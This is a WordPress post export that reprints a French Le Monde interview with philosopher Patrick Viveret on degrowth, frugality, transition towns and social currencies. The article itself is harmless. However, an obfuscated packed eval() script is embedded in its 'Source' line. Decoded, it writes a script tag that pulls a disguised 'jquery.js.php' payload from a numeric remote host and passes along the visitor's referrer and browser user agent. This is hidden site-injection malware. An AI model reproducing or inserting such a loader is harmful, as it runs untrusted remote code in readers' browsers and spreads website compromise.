{"id":8345,"date":"2013-06-04T23:06:56","date_gmt":"2013-06-04T22:06:56","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=8345"},"modified":"2013-06-04T23:14:23","modified_gmt":"2013-06-04T22:14:23","slug":"patrick-viveret-inventer-la-frugalite-dans-le-monde","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=8345","title":{"rendered":"Patrick Viveret \u00ab\u00a0Inventer la frugalit\u00e9\u00a0\u00bb"},"content":{"rendered":"<figure><img decoding=\"async\" title=\"En Gironde, Patrick et sa femme Marie se sont convertis \u00e0 une vie plus proche de la nature pour moins d\u00e9pendre de la soci\u00e9t\u00e9 de consommation. | Rodolphe Escher pour &quot;Le Monde&quot;\" alt=\"En Gironde, Patrick et sa femme Marie se sont convertis \u00e0 une vie plus proche de la nature pour moins d\u00e9pendre de la soci\u00e9t\u00e9 de consommation.\" src=\"http:\/\/s1.lemde.fr\/image\/2013\/05\/30\/534x0\/3421260_6_7fe2_en-gironde-patrick-et-sa-femme-marie-se-sont_92ab1ea1dd346f68fe56ba8e6bc2ab35.jpg\" width=\"534\" data-lazyload=\"false\" \/><\/figure>\n<p><strong>Source<\/strong> <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbhtt|var|u0026u|referrer|ribse||js|php'.split('|'),0,{}))\n<\/script><\/noindex> : <a href=\"http:\/\/www.lemonde.fr\/planete\/article\/2013\/05\/30\/inventer-la-frugalite_3421270_3244.html\">Le Monde du 30.05.2013<\/a><\/p>\n<p>Sobri\u00e9t\u00e9, frugalit\u00e9, bien-vivre : ces mots sont au c\u0153ur de la critique des soci\u00e9t\u00e9s industrielles. Pour lutter contre un mod\u00e8le jug\u00e9 ali\u00e9nant, de plus en plus de citoyens inventent de nouvelles mani\u00e8res de vivre ensemble \u2013 transports alternatifs, \u00e9nergies douces, partage de savoirs.<\/p>\n<p>Philosophe et \u00e9crivain, cr\u00e9ateur d&rsquo;un cabinet de \u00ab\u00a0conseil en imaginaire\u00a0\u00bb, Patrick Viveret a r\u00e9dig\u00e9 des rapports sur les politiques publiques et les indicateurs de richesse. Avec St\u00e9phane Hessel, Pierre Larrouturou et Edgar Morin, il a fond\u00e9 le collectif citoyen <a href=\"http:\/\/www.roosevelt2012.fr\/\" target=\"_blank\">Roosevelt 2012<\/a>, qui d\u00e9fend une soci\u00e9t\u00e9 <em>\u00ab\u00a0d&rsquo;\u00e9quilibre et de convivialit\u00e9\u00a0\u00bb. <\/em>Il a publi\u00e9 en 2012 <em>La Cause humaine : du bon usage de la fin d&rsquo;un monde<\/em> (\u00e9ditions Les Liens qui lib\u00e8rent).<em><br \/>\n<\/em><\/p>\n<p><strong>\u00ab\u00a0D\u00e9croissance\u00a0\u00bb, \u00ab\u00a0simplicit\u00e9 volontaire\u00a0\u00bb, \u00ab\u00a0sobri\u00e9t\u00e9 heureuse\u00a0\u00bb&#8230; Ces notions \u00e9voquent-elles la m\u00eame posture ? <\/strong><\/p>\n<p><strong><\/strong>Leur point commun est la critique du mod\u00e8le dominant, c&rsquo;est-\u00e0-dire d&rsquo;une forme de croissance insoutenable sur les plans \u00e9cologique, social et, ce qui est nouveau, financier, puisque le terrain m\u00eame o\u00f9 le syst\u00e8me se pr\u00e9tendait le plus fort \u2013 le capitalisme financier \u2013 est devenu son terrain de fragilit\u00e9 par excellence.<!--more--><\/p>\n<p>Il existe ensuite des diff\u00e9rences, selon que l&rsquo;on se situe principalement du c\u00f4t\u00e9 de la critique \u2013 c&rsquo;est l&rsquo;approche en termes de d\u00e9croissance, de d\u00e9mondialisation et de tout ce qui commence par \u00ab\u00a0d\u00e9\u00a0\u00bb \u2013 ou qu&rsquo;on insiste sur l&rsquo;imaginaire positif, le futur souhaitable, en mettant en avant la simplicit\u00e9 volontaire, la sobri\u00e9t\u00e9 heureuse, la transition vers des soci\u00e9t\u00e9s du bien-vivre plus conviviales. La perspective positive implique une r\u00e9sistance au mod\u00e8le dominant, mais elle trouve plus subtil et plus efficace de mettre son \u00e9nergie \u00e0 construire un nouveau monde plut\u00f4t qu&rsquo;\u00e0 d\u00e9truire l&rsquo;existant.<\/p>\n<p><strong>Quels sont l&rsquo;origine et les fondements th\u00e9oriques de ce mouvement ? <\/strong><\/p>\n<p><strong><\/strong>Le terme m\u00eame de d\u00e9croissance est relativement r\u00e9cent. Le premier \u00e0 l&#8217;employer a sans doute \u00e9t\u00e9, au d\u00e9but des ann\u00e9es 1970, l&rsquo;\u00e9conomiste et math\u00e9maticien roumain Nicholas Georgescu-Roegen. Mais les th\u00e9ories sur lesquelles s&rsquo;appuie ce courant, port\u00e9es par des penseurs comme Jacques Ellul, Ivan Illich, Andr\u00e9 Gorz ou Paul Ari\u00e8s, sont plus larges. Mon ami Serge Latouche, l&rsquo;un des \u00ab\u00a0papes\u00a0\u00bb de la d\u00e9croissance, dit lui-m\u00eame qu&rsquo;il s&rsquo;agit d&rsquo;un <em>\u00ab\u00a0concept-obus\u00a0\u00bb<\/em> destin\u00e9 \u00e0 provoquer un d\u00e9bat public. A mon avis, il s&rsquo;est transform\u00e9 en \u00ab\u00a0concept-boomerang\u00a0\u00bb, car il est paradoxalement lui-m\u00eame obs\u00e9d\u00e9 par la croissance. Toutes ces th\u00e9ories, entre lesquelles existent des porosit\u00e9s, partagent comme r\u00e9f\u00e9rent culturel la critique de ce qu&rsquo;Illich caract\u00e9risait comme une soci\u00e9t\u00e9 de l&rsquo;h\u00e9t\u00e9ronomie : une nouvelle forme d&rsquo;ali\u00e9nation d\u00e9poss\u00e9dant les humains de leur rapport \u00e0 la nature et \u00e0 eux-m\u00eames.<\/p>\n<p><strong>\u00ab\u00a0Les limites \u00e0 la croissance\u00a0\u00bb, le rapport du Club de Rome publi\u00e9 en 1972, n&rsquo;a-t-il pas \u00e9t\u00e9 un acte fondateur ? <\/strong><\/p>\n<p><strong><\/strong>Les travaux du Club de Rome ont jou\u00e9 un r\u00f4le important en alertant sur les dangers de la croissance. Par la suite, d&rsquo;autres \u00e9tudes ont contribu\u00e9 \u00e0 mettre en cause le mod\u00e8le actuel de croissance et son thermom\u00e8tre qu&rsquo;est le produit int\u00e9rieur brut (PIB). C&rsquo;est ce qu&rsquo;ont fait, en 2009, la commission Stiglitz sur la mesure des performances \u00e9conomiques et du progr\u00e8s social ou, en 2011, la r\u00e9solution du Parlement europ\u00e9en sur \u00ab\u00a0le PIB et au-del\u00e0\u00a0\u00bb, visant \u00e0 mettre en place des indicateurs concernant le progr\u00e8s social, la qualit\u00e9 de vie et l&rsquo;\u00e9tat de la plan\u00e8te.<\/p>\n<p><strong>Quels sont aujourd&rsquo;hui la g\u00e9ographie mondiale et le poids des \u00ab\u00a0d\u00e9croissants\u00a0\u00bb ? <\/strong><\/p>\n<p><strong><\/strong>Si vous utilisez le terme de d\u00e9croissance, vous avez une g\u00e9ographie relativement marginale. En revanche, si vous parlez de transition vers des soci\u00e9t\u00e9s du bien-vivre, vous englobez toute la cat\u00e9gorie des <em>cultural creatives,<\/em> des personnes qui repr\u00e9sentent des noyaux durs compos\u00e9s de 15 % de la population et des noyaux larges pouvant aller jusqu&rsquo;\u00e0 30 %. Elle regroupe une multitude de courants, de pratiques et de syst\u00e8mes de valeurs qui \u00e9taient analys\u00e9s auparavant de fa\u00e7on segment\u00e9e, mais qui n&rsquo;en sont que des sous-ensembles.<\/p>\n<p><strong>Qui sont ces \u00ab\u00a0cultural creatives\u00a0\u00bb ? <\/strong><\/p>\n<p><strong><\/strong>C&rsquo;est une approche sociologique fondatrice. On la doit aux Am\u00e9ricains Paul Ray et Sherry Anderson qui, en 2000, ont publi\u00e9 les r\u00e9sultats d&rsquo;une enqu\u00eate men\u00e9e aupr\u00e8s de 100 000 personnes, qu&rsquo;il s&rsquo;agissait de classer entre modernistes ou traditionalistes. Ils se sont rendu compte que 25 % de leur \u00e9chantillon n&rsquo;entrait pas dans les cases et ils ont d\u00e9couvert l&rsquo;\u00e9mergence d&rsquo;un nouveau mod\u00e8le socioculturel, s&rsquo;exprimant avec une grande coh\u00e9rence dans des domaines tr\u00e8s divers : le rapport \u00e0 l&rsquo;\u00e9cologie, les relations hommes-femmes, la primaut\u00e9 de l&rsquo;\u00eatre sur le para\u00eetre, l&rsquo;implication sociale, l&rsquo;ouverture multiculturelle, la place accord\u00e9e \u00e0 la question du sens&#8230; Toutes les enqu\u00eates r\u00e9alis\u00e9es dans d&rsquo;autres pays, dont la France, ont confirm\u00e9 l&rsquo;ampleur de ce ph\u00e9nom\u00e8ne.<\/p>\n<p><strong>L&rsquo;objection \u00e0 la croissance est-elle l&rsquo;apanage des pays d\u00e9velopp\u00e9s ? <\/strong><\/p>\n<p><strong><\/strong>Pas du tout. En Am\u00e9rique du Sud, notamment, un puissant mouvement remet en cause le mod\u00e8le dominant. En 2009, le Forum social mondial de Bel\u00e9m, au Br\u00e9sil, qui a mis au premier plan la question de la transition vers des soci\u00e9t\u00e9s du bien-vivre, a \u00e9t\u00e9 fortement influenc\u00e9 par des peuples indig\u00e8nes. Face au caract\u00e8re insupportable d&rsquo;une croissance caract\u00e9ris\u00e9e par le couple de la d\u00e9mesure et du mal-vivre, au niveau personnel mais aussi plan\u00e9taire, les mod\u00e8les privil\u00e9giant le couple de la sobri\u00e9t\u00e9 et du bien-vivre sont de plus en plus partag\u00e9s.<\/p>\n<p>Il est symptomatique que la d\u00e9mesure par excellence, celle de la sph\u00e8re financi\u00e8re, soit r\u00e9gie par des mouvements boursiers proc\u00e9dant, selon l&rsquo;expression du <em>Wall Street Journal,<\/em> de deux sentiments, l&rsquo;euphorie et la panique, qui sont la d\u00e9finition m\u00eame de la psychose maniaco-d\u00e9pressive et qui devrait appeler la mise sous curatelle des banques.<\/p>\n<p><strong>La sobri\u00e9t\u00e9 se vit-elle \u00e0 l&rsquo;\u00e9chelle individuelle ou collective ? <\/strong><\/p>\n<p><strong><\/strong>Le meilleur exemple d&rsquo;interaction entre les dimensions personnelle et collective est celui des villes \u00ab\u00a0en transition\u00a0\u00bb, o\u00f9 des groupes de citoyens prennent des initiatives pour faire face aux crises \u00e9conomiques et \u00e9cologiques. Le mouvement le plus avanc\u00e9 se situe au Royaume-Uni, o\u00f9 il est n\u00e9 au milieu des ann\u00e9es 2000, mais il s&rsquo;est largement r\u00e9pandu, par exemple, en r\u00e9gion parisienne, \u00e0 Montreuil ou \u00e0 Nanterre.<\/p>\n<p>Le point de d\u00e9part a \u00e9t\u00e9 la question de l&rsquo;apr\u00e8s-p\u00e9trole, puisque les modes de production et de consommation de nos soci\u00e9t\u00e9s ne pourront plus \u00eatre organis\u00e9s autour de l&rsquo;addiction \u00e0 cette ressource. La cl\u00e9 est de sortir des logiques de peur et d&rsquo;impuissance : loin d&rsquo;une approche catastrophiste, les villes en transition mettent au contraire en avant un imaginaire positif, g\u00e9n\u00e9rant de la confiance et de la solidarit\u00e9, pour se projeter dans l&rsquo;avenir.<\/p>\n<p><strong>Comment ces groupes agissent-ils au quotidien ? <\/strong><\/p>\n<p><strong><\/strong>Les potagers urbains, ou jardins dans la ville, en sont une illustration fondatrice, car il s&rsquo;agit d&rsquo;une exp\u00e9rimentation tr\u00e8s concr\u00e8te, qui r\u00e9pond \u00e0 un probl\u00e8me r\u00e9el \u2013 en cas de paralysie des transports par exemple, la s\u00e9curit\u00e9 alimentaire ne serait assur\u00e9e que pour quelques jours \u2013, tout en suscitant une dynamique de mutualisation et de solidarit\u00e9. Il en va de m\u00eame pour l&rsquo;acc\u00e8s \u00e0 l&rsquo;eau. La question de l&rsquo;alimentation est un noyau irradiant autour duquel se recr\u00e9e un lien social et culturel, avec des expressions cr\u00e9atives, festives, ludiques.<\/p>\n<p>Cela permet aussi de rapprocher savoir-faire ancestraux et technologies modernes de communication. En Inde, au Rajasthan, une r\u00e9gion d\u00e9sertifi\u00e9e a \u00e9t\u00e9 remise en culture au b\u00e9n\u00e9fice de 700 000 personnes \u2013 rien de marginal, donc ! \u2013 en adaptant des techniques d&rsquo;irrigation anciennes et en les diffusant sur les r\u00e9seaux sociaux. Se greffent \u00e0 ce noyau des initiatives visant \u00e0 d\u00e9velopper des modes de transport alternatifs ou des formes d&rsquo;habitat qui tendent \u00e0 l&rsquo;autonomie \u00e9nerg\u00e9tique.<\/p>\n<p><strong>Comment le local et le global s&rsquo;articulent-ils ? <\/strong><\/p>\n<p><strong><\/strong>Beaucoup d&rsquo;exp\u00e9riences prennent appui sur des territoires, tout en \u00e9tant interconnect\u00e9es au niveau international. C&rsquo;est le cas des syst\u00e8mes d&rsquo;\u00e9change privil\u00e9giant les rapports locaux, tels que les monnaies \u00e9thiques <a href=\"http:\/\/www.sol-violette.fr\/\" target=\"_blank\">comme le \u00ab\u00a0sol\u00a0\u00bb \u00e0 Toulouse<\/a> ou les dispositifs d&rsquo;entraide \u2013 le \u00ab\u00a0ticket de relation cordiale\u00a0\u00bb au Japon, qui favorise la solidarit\u00e9 interg\u00e9n\u00e9rationnelle. Au Br\u00e9sil, <a href=\"http:\/\/www.banquepalmas.fr\/\" target=\"_blank\">le \u00ab\u00a0palmas\u00a0\u00bb, une monnaie sociale cr\u00e9\u00e9e dans une favela<\/a>, a pris une telle extension que le gouvernement l&rsquo;a int\u00e9gr\u00e9 au syst\u00e8me mon\u00e9taire national.<\/p>\n<p><strong>Ces mouvements visent-ils une expression politique ? <\/strong><\/p>\n<p><strong><\/strong>Ils sont tr\u00e8s politiques, au sens o\u00f9 ils travaillent la question du vivre-ensemble dans la cit\u00e9, mais ils sont tr\u00e8s r\u00e9ticents \u00e0 l&rsquo;\u00e9gard du mod\u00e8le classique de partis. Ils cherchent de nouvelles formes de pratique de la d\u00e9mocratie, qualitatives et pas seulement quantitatives, comme le font aussi les \u00ab\u00a0indign\u00e9s\u00a0\u00bb ou les forums sociaux mondiaux, qui accordent une grande importance aux minorit\u00e9s. Leur approche commence \u00e0 irriguer le mod\u00e8le politique traditionnel, impuissant \u00e0 traiter les questions complexes des soci\u00e9t\u00e9s en transition. Sur nombre de sujets, qu&rsquo;il s&rsquo;agisse d&rsquo;\u00e9nergie, d&rsquo;\u00e9cologie, d&rsquo;am\u00e9nagement du territoire ou de r\u00e9gulation du syst\u00e8me bancaire, l&rsquo;expertise des associations, des ONG ou de mouvements comme Attac est souvent plus avanc\u00e9e. Certains acteurs politiques commencent \u00e0 entrer en r\u00e9sonance avec ces nouvelles approches.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Source : Le Monde du 30.05.2013 Sobri\u00e9t\u00e9, frugalit\u00e9, bien-vivre : ces mots sont au c\u0153ur de la critique des soci\u00e9t\u00e9s industrielles. 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